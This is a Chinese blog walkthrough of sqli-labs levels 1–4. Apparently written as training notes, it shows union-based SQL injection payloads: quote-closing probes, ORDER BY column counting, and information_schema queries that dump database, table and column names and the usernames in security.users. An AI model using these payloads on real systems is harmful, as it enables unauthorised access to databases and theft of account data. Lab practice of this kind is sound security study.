第一关
sqli-labs 第1-4关总结

第一关根据提示输入id的数字参数,?id=1(相当于select * from tables where id=1)
sqli-labs 第1-4关总结

直接就显示了一组用户名密码, id=2, 3, 4 一个一个试,就可以显示所有的帐户密码。

不过sqli-labs的目的是练习注入,在1后面首先尝试加个’
sqli-labs 第1-4关总结

报错信息,再加个’恢复正常,可以判断这里有个注入点

接着判断字段数:
/?id=1’order by 1, 2, 3 – -
(-- -是为了注释掉后面的limit 0, 1同理还可以使用–+或者%23)
一直到3都显示正常,到4则报错,可得出字段数为3

再用union select 1,2,3 – -来看回显点,可判断2和3的位置是能够显示的
sqli-labs 第1-4关总结

union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- -
sqli-labs 第1-4关总结

查询security内的所有表名:
union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)-- -

sqli-labs 第1-4关总结

列名:
group_concat(column_name) from information_schema.columns where table_name=‘users’
用户名:
group_concat(username) from security.users

源码:
sqli-labs 第1-4关总结
根据前面的注入过程,可以发现注入点在源码中的位置
sqli-labs 第1-4关总结

可以看出$id就是1的位置,并且由单引号闭合,以及后面的limit 0,1 的限制

所以注入可以通过’来提前闭合并且由-- -等方法注释掉(取消)后面的内容。

第二关
同样的办法先尝试单引号和双引号,一个两个全都报错

接着?id=2-1同1相同,判断为数字型
sqli-labs 第1-4关总结

不用加引号等,之后同第一关

源码:
sqli-labs 第1-4关总结
果然没有引号等,只要注释掉后面就行

第三关
依旧单引号先手,报错
sqli-labs 第1-4关总结

但报错内容多了个),源码这里应有个()

尝试?id=1’)-- -成功
sqli-labs 第1-4关总结

之后同上

源码:
sqli-labs 第1-4关总结
源码的确是(‘’)

第四关
单引号再次先手,无报错
尝试双引号,报错
sqli-labs 第1-4关总结
根据报错信息和上一关的经验,此处应该是(“”)

接着尝试?id=1”)报错, ?id=1”)-- -正常
sqli-labs 第1-4关总结

成功
之后同上

源码:
sqli-labs 第1-4关总结
惯性思维以为是(””),没想到是”()”,但是为什么”) – - 成功而)”-- -和)不行,额暂时想不通,待解。

相关文章:

  • 2022-12-23
  • 2021-06-08
  • 2022-12-23
  • 2022-02-17
  • 2022-12-23
  • 2022-01-21
  • 2022-01-07
  • 2022-01-22
猜你喜欢
  • 2021-08-04
  • 2021-07-14
  • 2021-11-27
  • 2022-12-23
  • 2021-11-13
  • 2021-10-04
  • 2021-07-20
相关资源
相似解决方案